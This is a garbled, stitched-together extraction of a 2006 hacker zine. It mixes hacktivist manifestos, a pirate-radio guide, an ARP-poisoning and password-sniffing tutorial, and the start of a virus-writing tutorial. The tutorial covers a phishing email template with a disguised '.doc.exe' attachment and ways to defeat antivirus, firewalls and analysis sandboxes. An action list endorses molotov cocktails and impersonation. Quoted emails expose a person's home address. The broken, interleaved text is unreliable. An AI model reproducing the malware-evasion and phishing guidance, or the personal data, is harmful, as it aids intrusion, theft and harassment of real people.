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"There is evidence that the darknet will continue to exist and high-quality service to a large group of consumers. This means markets, the darknet will be a competitor to legal commerce. Fr view of economic theory, this has profound implications for bus for example, increased security may act as a disincentive to le

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"As pressure is asserted upon the Internet from insecure indivi World Governments, an alternative network is needed to insure t of information is not obstructed, captured, analyzed, modified, is the main purpose of guerrilla.net. To provide a networking f Governments, commercial Internet service providers, telecommuni companies, and dubious Internet regulatory bodies. The free flow information is a REQUIREMENT of a free society."
(guerrilla.net)

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To help with the OpenNIC project, set up your computer (and can use the additional OpenNIC DNS servers and sign up on the mail up and contribute to the project. Some people have also suggested having "OpenDNS Day", where for one day out of the month people's servers configured to disallow connections from ICANN requests people to set up OpenNIC on their machines.

OpenNIC DNS servers are split into three tiers: the first two for internal synchronization purposes while the third tier are external which you can add to your network settings to hop on the internet.

Tier 0:

ns0.opennic.glue (opennic.glue; Oakland, CA, US) - 131.161.247

Tier 1

ns1.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.250

ns4.opennic.glue (.oss; San Jose, CA, US) - 208.185.249.251

ns8.opennic.glue (.parody; US) - 65.243.92.254

ns10.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.140

ns11.opennic.glue (.indy; Dallas, TX, US) - 66.227.42.149

ns12.opennic.glue (.fur, .geek; Garden Grove, CA, US) - 64.81

Tier 3:

ns1.de.opennic.glue (Cologne, DE) - 217.115.138.24

ns1.jp.opennic.glue (Tokyo, JP) - 219.127.89.34

ns2.jp.opennic.glue (Tokyo, JP) - 219.127.89.37

ns1.nz.opennic.glue (Auckland, NZ) - 202.89.131.4

ns1.uk.opennic.glue (London, UK) - 194.164.6.112

ns1.phx.us.opennic.glue (Phoenix, AZ, US) - 63.226.12.96

ns1.sfo.us.opennic.glue (San Francisco, CA, US) - 64.151.103.1

ns1.co.us.opennic.glue (Longmont, CO, US) - 216.87.84.209

ns1.ca.us.opennic.glue (Los Angeles, CA, US) - 67.102.133.222

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speech, open publishing systems, p2p file sharing systems, and work together with people to help pressure and change the law. don't you tell us a little bit about yourself, what sort of work groups you work with in the past, how you help out?

UK: A little about myself, well, by day an IT techie, by night I run public internet, public internet is one of the hosting points, the wiki server, and I kinda got involved when the server seized 9-12 months ago, kinda became quite important to me that we brought it back quickly as possible because the time we're down, we lose the other side of the story so I put up one of our servers put a mirror of the site and we went from there.

Jeremy: Great. So right now you're currently working as IT director with configuring and setting up these servers when they go down.

UK: Yeah that's right, let me quickly go over all the things I'm doing. Primarily I run a server mirroring the UK site. Additionally I run for some of the other indymedia projects that are currently going through the process of trying to security data with what's going on in the UK.

Jeremy: I understand that it is very vague about what the feds are looking for on these servers and there's some degree of confusion. Can you give me details about what sort of data or evidence they were looking for that they executed the search?

UK: From my understanding it wasn't actually the feds who were looking for it. My understanding is that it was a result of pressure by the Swiss government relating to previous protests in Genoa and Niece, I believe those were the two areas of interests. I believe photos were published by the authorities didn't like, and yeah, they were looking for server logs, looking for IPs, now fortunately, our server doesn't log IPs!

[Great! What a shame! Too bad!]

Davos, Switzerland February 8, 1996

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[uk indymedia interview: hackers defending open publishing sy
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Activists from HackThisSite.org at down with one of the UK Ind administrators at the recent DEFCON hacker convention. We inte regarding the server seizures, how hackers can work to protect systems such as IndyMedia, and how hackers are becoming more r involved with social justice struggles. This interview is bein of the new website <http://www.Hacktivist.net>.

Listen to the interview via MP3: <http://www.hacktivist.net/rad>

Jeremy: This is Jeremy from HackThisSite.org and I'm sitting in several people who are loosely affiliated with our website as who is on the UK IndyMedia project. We have a few things we'd like how to protect open publishing systems such as IndyMedia, our servers in such a way that makes us less liable, and how h more integral role in defending open publishing systems. Other to introduce themselves right now:

UK: Hello this is from the UK and I'm from UK IndyMedia

Alx: This is Alxciada from HTS

Gary: This is Gary Naham, an activist in Chicago hoping to be dedicated to seeing government systems that survive and respect evolution of technology and not interfere

Jeremy: We have a few things we'd like to talk about specifica hackers can play a more integral role and help work with vario collectives, but we'd also like afterwards talk in general abo

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[hacktivism project introduction
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As hacktivists, we encourage hackers to consider the social and implications of actions. We believe it is irresponsible to teach fundamentals of internet security without a broad understanding around them. We are in a unique position to work together to de on the internet and in social justice struggles around the world

We maintain a diversity of tactics through the following collec together to build a broader movement:

Hacktivist.net - We serve as an above ground 'think tank' for t hacktivism and electronic civil disobedience. We defend open pu and encourage free debate about the ethics of mixing hacking an politics.

Hackbloc.org - A model of organizing hacktivist cells in each l cell maintains autonomy from central leadership yet coordinates with other hackbloc cells all over the world. The Hackbloc webs networking body where people can read updates and plug in to lo

HackThisSite.org - An above ground training resource where ever practice their hacking skills in a set of realistic challenges. learning environment where people can find out and get involved other projects our people are working on.

Various projects and groups we are involved with:

- * Publish an open hacktivist journal to be distributed for free internet and in print
- * Liberation Radio: creation and distribution of subversive aud

- other underground materials through an online radio station
- * Protect free speech on the internet by making contributions to major IndyMedia, Wiki, IRC, P2P file sharing, and other open project bases
 - * Provide hosting and support for radical systems in cases of local server seizures, etc.
 - * Participate in various conventions, protests, and other national events to provide on-the-ground communication while making noise and spreading the word about hacktivism

We use a decentralized, directly democratic model of organization, looking for contributions and coordination from people who would be directly involved with the project. We are interested in working together with other groups and individuals to build a larger hacker movement. Together we stand, divided we fall.

Hactivists of the world, unite!

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FM EXCITERS And AMPLIFIERS

This is the `ÙheartÙ` of your station. It has an oscillator, an audio section, a FM modulation section, a RF pre-amplification stage, an amplified output stage and sometimes an RF filter stage.

ANTENNAS

An properly tuned (low VSWR) antenna, J-pole, 5/8ths wave vertical dipole, broadband etc. as high up as you can get it makes up for the cost and is money and time WELL spent!

AMPLIFIERS

Amplifiers are pretty boring pieces of equipment. They amplify

must now be born anew in us.

You are terrified of your own children, since they are natives and you will always be immigrants. Because you fear them, you entrust them to bureaucracies with the parental responsibilities you are too cowardly to confront yourselves. In our world, all the sentiments and expressions of human nature, from the debasing to the angelic, are parts of a seamless global conversation of bits. We cannot separate the air that chills from the air upon which wings beat.

In China, Germany, France, Russia, Singapore, Italy and the United States, they are trying to ward off the virus of liberty by erecting guard posts at the frontiers of Cyberspace. These may keep out the contagion for a while, but they will not work in a world that will soon be blanketed in bits.

Your increasingly obsolete information industries would perpetuate themselves by proposing laws, in America and elsewhere, that claim to own speech throughout the world. These laws would declare ideas to be another commodity, no more noble than pig iron. In our world, whatever the medium of creation can be reproduced and distributed infinitely at no cost. The conveyance of thought no longer requires your factories to accommodate.

These increasingly hostile and colonial measures place us in the hands of, as those previous lovers of freedom and self-determination would say, the authorities of distant, uninformed powers. We must declare our independence, immune to your sovereignty, even as we continue to consent to your demands. We will spread ourselves across the Planet so that no one can control our thoughts.

We will create a civilization of the Mind in Cyberspace. May it be more free and fair than the world your governments have made before.

John Perry Barlow, Cognitive Dissident
Co-Founder, Electronic Frontier Foundation

obtained by any of your impositions.

You claim there are problems among us that you need to solve. as an excuse to invade our precincts. Many of these problems are there are real conflicts, where there are wrongs, we will identify and address them by our means. We are forming our own Social Contract. Governance will arise according to the conditions of our world. Our world is different.

Cyberspace consists of transactions, relationships, and thoughts like a standing wave in the web of our communications. Ours is both everywhere and nowhere, but it is not where bodies live.

We are creating a world that all may enter without privilege or accorded by race, economic power, military force, or station or

We are creating a world where anyone, anywhere may express his or her opinion no matter how singular, without fear of being coerced into silent conformity.

Your legal concepts of property, expression, identity, movement, and action do not apply to us. They are based on matter, There is no matter in

Our identities have no bodies, so, unlike you, we cannot obtain them by physical coercion. We believe that from ethics, enlightened self-interest, and the commonweal, our governance will emerge. Our identities may vary across many of your jurisdictions. The only law that all our cultures would generally recognize is the Golden Rule. We hope to build our particular solutions on that basis. But we cannot accept the solutions you are attempting to impose.

In the United States, you have today created a law, the Telecommunications Reform Act, which repudiates your own Constitution and insults the memory of Jefferson, Washington, Mill, Madison, DeToqueville, and Brandeis.

little exciter's signals to levels that will deliver solid reception to a listening audience.

FILTERS

These devices are used to decrease the output of frequencies within a band. NOT broadcasting. These OTHER frequencies are known as harmonics and you don't want any! Harmonics are your enemy!

SWR METERS

You get what you pay for when you buy a VSWR meter. Cheap ones are cheap. They'll lie and make you confident when you should be otherwise. Buy the BEST and they are expensive at \$300+ US, however, Diawa, Diamond, and Communications are all good, servicable units that you can trust. Buy them and last.

DUMMY LOADS

You'll have a perfect VSWR reading every time with a dummy load. But what the hey! Easy to build a little one, pre-built ones are available or so depending on the wattage it must handle.

Tuning your antenna

Using a properly tuned antenna is essential for micropower broadcast in the FM band. An antenna that is not properly tuned will not pass all of a transmitter's power as efficiently as it could and this leads to a degradation of signal coverage.

ETHICS:

The airwaves are a community property. One must always treat them as such, respecting the space of other stations, both commercial and micro.

LOOKING FOR OPENINGS:

Admittedly, some parts of the country have no empty channels. Pennsylvania, Florida, California, New York and Chicago are virtually crammed

stations. For the rest of us, if we look hard, we can locate our channels.

ONCE YOU DECIDE

You've located a channel that's clear and has no strong nearby broadcasting.

1. Educate yourself about radio theory. Buy the Radio Amateur's book and study it.
2. You'll need some essential tools to avoid working blind. You need an oscilloscope with at least a 100Mhz bandwidth so you can see what the signal looks like and if the device is operating incorrectly, causing distortion or oscillation. You should have a good stable frequency counter to within 10 ppm accuracy and resolution to 1hz at 100Mhz. A good Volt-Ohm-Meter for general measurements of voltages and resistance.

A SWR impedance analyzer bridge (MFJ Enterprises makes an affordable one, MFJ259, which combines a frequency counter, R.F. signal generator, and resistance meter in one versatile unit).

ESSENTIAL COMPONENTS OF A STATION

The main transmitter. A unit that is crystal-controlled and/or uses variable capacitor tuning and modulation methods. A broadcast transmitter if you have a stereo generator. This is essential to insure no interference with adjacent channels and maintain maximum volume without overmodulating your modulation levels.

- * An SWR/Power Meter to monitor the condition of your antenna.
- * A mixing board to act as your program control center.
- * Audio sources to provide program material.
- * A good microphone.

Optionally, if you broadcast in stereo, you'll need to add the following:

- * A multiplex "stereo" generator.
- * Two-channel broadcast limiter.

All components back to the studio should be stereo capable.

The original version of this article was written by EvilDeshi and was put on the article onto this single page we needed to water down the content. You can read the full article at: <http://wickedradio.org/radio>.

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Governments of the Industrial World, you weary giants of flesh and steel, I declare from Cyberspace, the new home of Mind. On behalf of the future, I demand that you cease to leave us alone. You are not welcome among us. You have no right to be here where we gather.

We have no elected government, nor are we likely to have one, so long as we have with no greater authority than that with which liberty itself is born. We declare the global social space we are building to be naturally free of the tyrannies you seek to impose on us. You have no moral right to control us, and do you possess any methods of enforcement we have true reason to doubt.

Governments derive their just powers from the consent of the governed, and neither solicited nor received ours. We did not invite you. You do not know us, nor do you know our world. Cyberspace does not lie within your grasp, and you do not think that you can build it, as though it were a public construction project. You cannot. It is an act of nature and it grows itself through the actions of its users.

You have not engaged in our great and gathering conversation, nor do you know the wealth of our marketplaces. You do not know our culture, our customs, or our unwritten codes that already provide our society more order than you can imagine.

The Anarchist Library (Mirror)

Anti-Copyright



HackThisSite.org
Hack This Zine! 03
Digital Contraband
2006

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usa.anarchistlibraries.net

URL and spider it for additional URLs in <a href="http://\$host/
added to the \$list array. It can also be expanded to include ot
including POST, SSL, cookies, and file upload vulnerabilities.
fuzzer is a rewarding programming exercise where the possibilit

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Introduction

This article is meant to teach how ARP works and how one can go
the ARP cache and enable them to completely sniff traffic over
network. This article assumes that you already have access to a
network. ARP Poisoning is a way of tricking computers over a sw
send traffic through you before going to other computers or out

Address Resolution Protocol(ARP)

ARP is a dynamic protocol to map a 32bit IP Address to a 48bit
address (MAC Address). If one system over a network wants to co
another system over a network, it will first check if it alread
systems MAC Address and if not it will send out an ARP broadcas
for the hardware address of the destination system. There are f
messages but the main two are ARP Request and ARP Reply. When a
broadcasting an ARP Message it sends out an ARP Request. An ARP
message sent to the broadcast address, the message contains the
Address and MAC Address and requests the MAC Address of the giv
it waits for an ARP Reply. An ARP Reply replies to the ARP Requ
computer sending the ARP Request what its MAC Address is.

The ARP Cache is a temporary storage place that holds a table w
and IP Address's. If a computer wants to talk to another comput
already have its MAC address stored it will send an ARP Request
that is sending the ARP Reply does not have the requesting comp

it as well will save it to cache. So now both computers have the system cannot communicate with another until it has its MAC Address.

ARP is a stateless protocol with no authentication built in so whether there was a request or not will update the ARP Cache on systems will accept an ARP Reply regardless if there was an ARP request.

The Switch

Media Access Control (MAC) is a standard addressing system for devices. Most networks use switching devices and in a switched network are only sent to the port they are destined to according to their MAC Address. Switches maintain a table that associates MAC Addresses with certain ports. A switch constructs a route table by extracting the MAC Address from the Ethernet frame of each packet processed. If a route table does not exist the switch will forward the packet to all ports.

Within a switched network packets are only sent to the destination port, so other devices cannot see the traffic.

Poisoning

There are a few tricks to manipulating a network to send traffic before sending it to the packets to the destination device. One is referred to as ARP Poisoning and it is when you send a computer to different computers across the network tricking their computers their ARP cache with new MAC Address's (Your MAC Address). So if computer1 wants to send a message to computer2 it gets the MAC address of computer2's IP and sends the message to that MAC address. But the MAC address is changed to your MAC address, by poisoning the ARP Cache. The message will be sent to you instead. After packets are sent to you, you will receive packets to the computer it was meant to go in the first place. This is caused and the hosts will not be able to communicate anymore. Things that you must weigh in are timeouts, if there is no traffic over a period after a timeout period the ARP cache of the computers across a

flushed out and you will need to send another constructed ARP request so that traffic is once again forwarded to you. One way to fix this is to automatically send ARP Replies every 10 seconds or so to the host to poison.

Sniffing

Sniffing is the act of capturing packets that aren't necessarily intended for public viewings. When you sniff packets across a network you can see many interesting things such as emails, instant messages, and even email accounts and ftp accounts and many other types of passwords. This experience are more often than not, left unencrypted. There are sniffers there that will automatically scan packets for username and passwords. You can also see what websites the person is going to.

Wireless

If an access point is connected directly to a hub or a switch then the entire wireless network open to ARP Poisoning. Wireless internet is becoming more and more used and it is hard to be anywhere that does not have an access point, especially in well populated areas. This leaves a significant risk to most networks because in theory someone with a laptop can get into the lobby of a business and get on their network by cracking their wireless network simply connecting if they don't even have WEP. The attacker would be able to poison the ARP Cache of the different computers across the network and forward all traffic through you. You would get their passwords and see the websites they go to and anything else that you feel would be useful.

Tools

Ettercap <http://www.ettercap.sourceforge.net>

Allows you to sniff networks and poison the arp and auto redirect

TCP Dump <http://www.tcpdump.org/>

A general purpose packet sniffer

Cain&Able <http://www.oxid.it/cain.html>

Allows you to sniff networks and poison the arp and redirect traffic to work over wireless and is only for windows. But is very useful.

passwords that you come across
ARPoison <http://arpoison.sourceforge.net/>
Command line tool for UNIX which sends out spoofed packets
Nemesis <http://nemesis.sourceforge.net/>
A very good packet injection tool
Dsniff, Arp Redirect <http://naughty.monkey.org/~dugsong/dsniff>
Will let you intercept packets and get passwords and redirect
good tool

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0) Introduction

- 0->1) What is a virus?
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1) Abstract concepts

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- 1->2) Survival Theory

2) Code Practice

- 2->1) Simple Exe Virii
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- 2->3) Script Virii
- 2->4) Moderate ExeVirii/Worms
- 2->5) Concept Virii

Foreword.

"And God blessed them, saying, Be fruitful, and multiply, and :
the seas, and let fowl multiply in the earth."

From the beginning of mankind's existence, they were fascinate

life, another creature, with a "mind" of it's own, a creature t
itself against it's master. I think this is one of the main rea
scene exists. Most viruswriters (including me) enjoy the challa
small life form that "lives" on it's own.

0) Introduction

Well, enough preaching for today. Before I start with technical
will first make a few things clear to the really, really new peo

0->1) What is a virus?

Well, a better question would be, what is malware? As this umbr
much more than just virii. Malware is the common term for any u
on your box. It can be divided in several catogories:

I) Virii.

Most people think virii and malware are the same, but that is a
misassumption. A virus is (in my opinion) best defined as: "A s
program that abuses other (host) programs in order to spread".
needs a host program, it cannot spread on it's own, it needs ot
infect.

II) Worms.

The main difference between a worm and a virus are the way of r
worm can live without a host, it's like a bacteria, it copies i
propagates itself trough many different ways. Unlike a virus, m
infect other programs.

III) Trojans.

These sneaky little devils derive their name from the ancient g
wooden horse of Troje (you know, with Odysseus inventing a tric
city and coming up with this huge wooden horse which contains t
soldiers). Well, today's trojan horses are much like that, they

innocent or (more often) a very attractive file, but they actually contain a dangerous payload, either they are disguised worms, virii, spyware or RAT's (Remote Administration Tools).

IV) Spyware.

These are the new players in today's cyber-battlefields. Spyware is any piece of software that monitors the victim's habits, from chat passwords, to banking passwords to full scale corporate espionage.

V) Logic Bombs.

Quite rare, Logic Bombs are programs that trigger when a certain condition (or doesn't happen). When you are the victim of a logic bomb, you know someone is really after you, because they don't spread in the wild. They are commonly created by disgruntled programmers who didn't receive their payment, or are afraid they won't receive it. A logic bomb triggers when certain conditions are met, like a date, or the deletion of a certain file. When a programmer works somewhere, and he installs a LB that requires a password every month, else it will erase the entire box. If the programmer gets fired, he can't enter the password, and the company loses all the data on the programmer's box.

0->2) Types of malware.

I) Virii.

a) Overwriters, these are quite common in the viral world. They overwrite the host program with themselves, erasing the program.

b) Companions, these virii don't alter the hostfile, they hide themselves from the user and rename them, taking their place and executing the host program.

resignations * give people discounts on phone gas internet or oil
start a pirate radio station * give away free phone cards and gas
never talk to the police, refuse to give statements or testimony
political prisoners * op everyone in an irc channel * reprint,
copyrighted material * go to school or work wearing bathrobes,
pirate costumes * shut down major intersections in the business
copies of radical videos and give them away for free * spew con
* send fake emails as the boss and announce raises for everybody
parties to celebrate the wonderful possibilities of life * start
on everything day" * plant political propaganda in elementary s
torrent files * squat abandoned buildings and hold underground
from the rich and give to the poor * arm philosophers and the h
over major media outlets and broadcast subversive messages * de
sharing services and non-commercial internet * hold acid tests
neighbors * start underground guerrilla public drum and dance b
confront racists, homophobes, right-wingers and other bigots on
produce your own music, zines, and clothing * sniff corporate t
scandals * deface billboards with anti-capitalist messages * fi
heinous chemicals and talk to strangers on the train. don't tel
on * pass out maps to rich people's addresses to the homeless *
self-checkout services * syphon gasoline, dumpster some bottles
make molotov cocktails * program a free open source alternative
software application * convert your car to use bio-diesel * sta
strikes and storm executive offices * make stencils, large post
and hit the streets * social engineer some food and give it out
street * crash political party conventions * refuse to get a cr
other bank account * ride your bike in the fast lane * organize
* hook people up with free cable * learn to pick locks and how
handcuffs * destroy white hats, feds and narcs * never ask perm
apologize * hack the recording industry and use their servers
to share commercial music, videos and software * organize a pir
give out copies of linux * start a hacker class war
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indymedia.org * infoshop.org * crimethinc.com/net/

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visit our online forums at criticalsecurity.net

email us at htsdevs@gmail.com

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MARCH 19 ANTIWAR PROTESTS
SAN FRANCISCO / BERKELEY LATE MARCH

BIODEMOCRACY ACTIONS / CHICAGO APRIL 9-12

HACKERS ON PLANET EARTH / 2600
NEW YORK CITY, JULY 21-23

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FREE SOFTWARE GIVAWAYS - HACKERS TAKE TO THE STREE'

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build a cantenna and steal wireless internet access * announce

c) Bootsector virii, these virii infect a HD or floppy bootsect
themselves at each startup, without user interaction, making th
powerfull.

d) Prependers, these virii place their code in front of the vic
executing themselves before the victim code can, thus not notif
of missing files.

e) Appenders, the same as prependers, only they execute after t

f) Memory-resident, these type of virii use TSR techniques (Ter
Resident), to remain in the box' memory (usually by interupt ho
something happens (a .exe file is opened) and then they infect

g) Encrypted virii, to fool scanners in the old days, virii use
their opcode bodies, and decrypted themselves during runtime. T
evolved a long way (see below).

h) Oligomorphic virii, these virii are encrypted virii, who cha
decryption/encryption key at every replication, thus making it
virus scanner to detect them.

i) Polymorphic virii, a quite advanced technique, these little
whole opcode blocks with blocks that look different, but do the

j) Metamorphic virii, one of the newest techniques to fool AV's
replace entire blocks of logic in their bodies. They replace 3
/ 2) or (((2 * 2) +2) / 2) for example.

k) EPO virii, entry point obscuring (or obfuscating) virii plac
somewhere random inside the host's body, and modify the host to
point where the virus starts, thus forcing AV's to scan entire
them down.

l) Cross-infection virii, these virii infect multiple file types increasing their effectiveness.

m) Cryptovirii, these are relatively rare, encoding entire hardware publickey algorithm, and forcing the victim to pay the virus writer to decode his/her HD (also called Ransomware).

II) Worms.

a) Massmailing, these worms harvest e-mail addresses from a box files, messenger contact lists or other addressbook files) and to them to propagate, they will travel around the world really attract virusanalyst's attention really quickly too, making them (and unsubtle) in my opinion.

b) P2P, these worms spread through peer-to-peer software, propagate filenames (music, movies, pictures, programs, etc), these could be as fast as Massmailers (as long as they make sure they keep propagating that are still popular) and far more silent.

c) I-Worms, Internet worms are a special case, the very first Morris-worm, was also an internetworm, but it took more than 1 second I-Worm appeared. I-Worms are often referred to as Warhol from Warhol's prediction that in the future everybody will be famous in 15 minutes. I-Worms travel by exploiting security gaps, like Morris, Code-Red, Nimda, Sasser and Zotob are all Warhol worms (I-worms are extremely successful).

d) Botnet worms, these worms function a bit as a trojan too. They turn the victim's box as a zombie, allowing the attacker to remotely use it to send spam, log passwords and launch ddos attacks.

e) Neural-Network worms, I have never heard of one seen in the wild (poc (proof of concept)). Often referred to as Curious Yellow worm.

ZINE STAFF

DarkAngel, OutThere, Kuroishi, brokenkeychain, truth, nomenclature

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IceShaman, html, buz, Custodis, OutThere, archaios, Mcaster, Scenestar, TechnoGuyRob, scenestar

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bfamredux, Phate, LeaChim, skopii, sld, tgo, Hawk, ikari, Rando, EvilDeshi/WickedRadio, darwin, DarKry, C, Weiznit

THIS GOES OUT TO

those who are brave enough to confront and fight racists, homophobic fundamentalists, right-wing extremists and other fascists in the world who do emergency fundraising, media work, and drive hundreds of people out of prison, my partner in crime fetus who through our love and beautiful crazy actions I dare not speak of, the cool people who don't put up with the bullshit from the white hats feds and militant anti-capitalists at midwest unrest and prole.info, the people who go to the rainbow gatherings, moon festivals, burning man and other gatherings of free minded people, those who are brave and willing to do everything to take direct action in defense of mother earth and

the crazy hackers at anomalous security, pulltheplug, the #phra, electronic souls, el8 / h0no, rant media, x10, dikline, we are sisters working together to dismantle the white hat security industry given the chance would sell us all out.

GET INVOLVED

LOVE DISMANTLING THE COPYRIGHT INDUSTRY

- * support file sharing services by setting up torrent trackers files, starting ftp/irc drops, and running tor servers on high connections
- * start a radical video collection and burn copies to vcds and for free at shows, schools, or with other radical literature
- * make your own media and release it for free using a Creative Commons license
- * bastardize corporate imagery, print out stickers and large posters for the city
- * embrace open publishing systems such as indymedia, wiki, etc
- * support the ACLU, the EFF, and other civil liberties / digital rights organizations

Imagine organizing a pirate parade with costumes flags and instruments the same time holding an anti-copyright protest with a bunch of people out free software. This street action is one of many possible actions at upcoming conventions like HOPE. The possibilities are endless.

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We are an independent collective of creative hackers, crackers and anarchists. We gather to discuss and teach each other through research and code auditing, practical anarchy and organizing for conventions and protests. Join us to explore positive hacktivism, a free internet and a free society.

THE INTERNET IS THE STAGE
 WE ARE THE ACTORS

Jeremy Hammond
 whooka at gmail.com

communicate with each other in order to exchange information on victims, new exploits to use to propagate and new anti-antivirus worms. These worms could harbor a self-improving/self-rewriting mechanism that is virtually invincible. But it would take a group of very experienced Scientists to code such a worm.

III) Trojans.

a) R.A.T's

The most popular of trojans, these programs allow an attacker to control the infected box, gathering sensitive info, or using it for attacks, use it as a tunnel to root other boxes or to anonymousize viral epidemics.

b) Rootkits

I don't know if these can be considered trojans, but they are (or best classified here). Rootkits allow a remote attacker stealthily hide processes, directories, files and extra accounts.

b) other

Any program, disguising itself as something else, could be considered a trojan.

IV) Spyware

a) Homepage/Searchpage Hijackers

These programs change your homepage and searchpage to a page of the attacker's choice.

b) Dialers

Dialers abuse the victim's dialup connection to dial to a very somewhere abroad, generating money for the author.

c) Habit-trackers

These programs track your surfing-habits, advertising things you (your surfing) want.

d) Keyloggers

Could also be classified under trojans. Keyloggers monitor you stealing your passwords and sending them to a remote attacker :

V) Logic Bombs

see explanation in 0->1.

1) Abstract concepts

Now we know some basic malware concepts, we can delve further into malware development.

1->1) Survival Concept

First we need to know what is important for malware to survive some important things:

I) Spreading

The most important feature of most malware is to spread as far as possible infecting a lot of files/boxes.

salesmanship...not reality. You need someone to sell them a better fact based letter to the editor isn't going to do anything. We need a fable, something exciting, that doesn't make us look like the bad guy going to be exceedingly difficult, because he's already had the word about him.

I would even consider making him an accomplice or confidant of the truth be true, but we're trying to sell records here, not run a candy store.

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"Quantity and quality of P2P technologies are inversely proportional to the numbers of lawsuits issued to stop P2P" - 3rd Monty's Law

We are proposing DisrespectCopyrights.net, a portal to information that will serve as a think tank to oppose and subvert the copyright industry by encouraging independent media and file sharing alternatives to the internet.

- * file archives - a collection of independent do-it-yourself material on activism, anarchism, anti-copyright, code, hts, images, legal, and zines. also allows people to upload their own files.
- * news feeds - from various sources including the eff, p2pnet, respectp2p, etc.
- * wiki - all pages modifiable

We are also looking for flash designers to parody the content of the official MPAA site RespectCopyrights.org, twisting their language to encourage piracy.

BECOME A TRAFFICKER OF ILLEGAL INFORMATION
or: HOW I LEARNED TO STOP WORRYING AND

FreeJeremy.net .org .info and lock them out, and point them to and maybe grab the .net and .org

If Jeremy doesn't update the whois information, the registrar w domain and as it stands there is 247 links back on MSN and 42 . Kinda hard to get your message out if your domain is gone, and marketable domains are owned by anonymous parties.

Well, Saturday morning, after bailing from the post-meet break: did a quick drive-by of Casa-de-Anarchy.... About a block and : 90/94 on the North side of thestreet. As in the picture on hi pair of satellite dishes hanging off the porch structure.

Maybe on my way to GenCon, I'll get some reconnaissance photos 1908 South Canalport / Chicago, IL 60608 I'm sure we can think appropriate to do with this data.

> * Give Security Office of Union Station issue of Chicago Rea I was planning on doing that this week, the Amtrak police are ; defacto security there, something to the effect that the Chica planning to meet there, but there is one bad apple hell bent o here is the Chicago Reader article, any additional questions I can try the Chicago office of the FBI.

> * Contact "ThePlanet.com" Re: Whois information for FreeJerm I already have a mail out to them, I will be mailing ICANN ton things up a little.

From: narc <narc> To: BAWLS@CHICAGO2600.NET
Aug 22 Subject: Re: :: A call for arms ::

Look, Narc makes a lot of valid points, but we're not talking : were talking about the media. This is about image, presentabil.

II) Efficiency

Doing what it is designed for is of course extremely important. it would be taking down a website, or for spyware it would be m habits.

III) Stealth

Not being detected by AV's is crucial in surviving. If malware soon becomes unusable and dies.

1->2) Survival Theory

I) Spreading

Spreading can be done in many ways. As described in 0->2, malwa many propagation forms. Very important when spreading is a part social-engineering. Sending a mass-mail like:

-----start of mail-----

Subject: dfjadsad

Body: Hi, open the attachment

Attachment: blah.exe

-----end of mail-----

wouldn't attact many people. It is boring. A mail like this how

-----start of mail-----

Subject: Your Credit Card has been charged

Body:

Dear recipient@provider.com,

Your purchase of the \$1000 bodysset-deluxe was sucessfull, your been charged accordingly, check the attachment for details.

Yours sincerely,

The E-Bay team.

Attachment: Details.doc.exe

-----end of mail-----

would attract more people, they would be eager to see what has nobody wants to be charged for something they haven't bought.

This goes for the P2P way too, files like StarWars - Revenge of spread faster than blah.exe.

Also, most people feel more secure if a file is zipped. Well, zip-component in your malware, to zip it everytime it replicat difficult.

II) Efficiency

There always needs to be a delicate balance between spreading, efficiency. Spreading like mad will get your malware very far, detected in a matter of hours, making it obsolete, while extreme keep your malware undetected for years, but it won't infect mo. Being efficient totally depends on your goals.

It was brought to my attention that a one Jeremy Hammond decide at your place of business to openly express a vulnerability he public Internet Relay Chat (IRC) channel. Due to recent encount young man, I have learned to question any motives of his to dis information, and as such, decided to contact you. Also, as I wa locate you, I also uncovered that Jeremy has been using his ema personal business to talk on public boards (Indymedia.org, Chic and HackThisSite.org came up as initial results).

Upon further analysis of the situation, I also noted that Jerem webmaster for Macspecialist.com. As someone who is a known comp (ProtestWarrior, CUGNet, Chicago2600.net, and others that wish have all been illegally accessed by Jeremy Hammond), I question webmaster and further express concern for Macspecialist as a wh

Contained below is the IRC log of the events that transpired. I Jeremy. Server: irc.chicago2600.net Channel: #chicago2600

From narc <narc@narc.com> To: radicaledward@chicago2600.net
Sept 6: FBI here TODAY. 3:00 P.M. chi2600
narc, if you wanna come, gimme a ring at XXX-XXX-XXXX ext XXX
I'll get you directions here.

From: narc <narc@narc.com> To: bawls@chicago2600.net
Sept 14 Subject: Re: Guess who went to jail again...
I just sent a very misspelled note in broken english/french to out where the Hackbloc shindig is, with any luck he'll reply an info to Chicago Police Intelligence to have a little 'special' pad the Indymedia comments later tonight.

- narc

From: narc <narc@narc.com> To: bawls@chicago2600.net
Aug 23 Subject: Re: Domain fyi
If its in the slush fund, buy the remaining domains, but I'd re

* Moved meetings to a private location where they have banned : with threats of going to the police

When approached about these violations, the administrators main is not a democracy" and that they can run their "private company choose. In addition to breaking a number of 2600 conventions, egotistical, authoritative philosophy undermines the open demo hacking.

Like many other hacking groups, 2600 has counter-culture roots embraced dissenting opinions. 2600 has also recognized that ha inherently political, and how free technology can be used to d rights and free speech. The Fifth HOPE was held in NYC a month Republican National Convention came to town and had a number o presentations covering independent media, the free software mo speech talking about civil disobedience at the upcoming RNC pr

2600 has created a set of national guidelines in order to keep organized around the principles of freedom and democracy and t power-hungry administrators to abuse the rest of the group.

"Remember that meetings are open to all as per the meeting gui meeting CANNOT be "sponsored" by anyone or it's not a 2600 mee appearing to be a tight knit group as this will only discourag new attendees. It also would be inaccurate - meetings are no m they are anybody else's. Similarly, your site should only focu itself, not activities outside of or after the meeting. If you the cool people wind up doing one thing while the non-cool peo else, you're creating divisions and factions that have no plac same reason, we strongly discourage any kind of content that m any attendee(s)."

On Aug 29, 2005, at 10:46 AM, narc <narc@narc.com> wrote:

III) Stealth

Malware has many enemies, here are some of them:

- a) AV's
- b) Firewalls
- c) AV researchers

fooling AV's isn't too difficult, sometimes switching two or thr enough to fool them, but your virus will get detected again and nope.

So you need to protect your malware from AV's. Thus encryption,Oligomorphism,Polymorphism and Metamorphism are born cryptographers out there, let go of the classic idea of encrypt encryption is something different. Encryption,Polymorphism,Olig Metamorphism for executables is only possible in assembly, so s

Fooling firewalls can also be done quite easily, just terminate Although this is quite rude and unsubtle, it is effective. A mo adding your program to their trustedprogram-list.

Fooling an AV researcher can be quite difficult. They will disa virus, Emulate it's code and Sandbox it. Making your virus extr with long loops and jumps will keep them from fully understandi disassembly. Stopping Emulation is quite difficult, you would h your code is being emulated by making a change, and checking if really has been applied, if not, you are being emulated. Sandbo tehcnique that involves putting your virus in a virtual machine baitfiles to see what it does. This could be overcome by checki Virtual Pc, etc. I will give details later.

2) Code Practice.

